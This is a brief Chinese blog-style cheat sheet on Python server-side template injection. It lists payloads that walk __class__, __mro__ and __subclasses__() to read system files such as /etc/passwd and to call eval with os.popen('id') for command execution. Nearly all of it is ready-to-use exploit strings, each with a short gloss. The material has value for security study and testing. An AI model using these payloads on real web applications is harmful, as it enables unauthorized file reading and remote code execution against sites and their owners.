模板注入总结

    科技2025-11-03  8

    1,常用命令

    ().__class__ 当前类

    ().__class__.__mro__ 当前类继承了哪些类

    ().__class__.__mro__[-1].__subclasses__() object类的所有子类,具体就可以利用这个来找自己所需的类

    比如有时第40为file函数,就可以通过

    ''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() 来进行读取文件内容 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__ 查看子类列表中第59个这个下面的内置函数,找到所需的

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") 找到合适的函数后,可以利用如上所示来进行利用

    更多可以参考:

    https://www.cnblogs.com/vstar-o/p/13719889.html

    Processed: 0.009, SQL: 8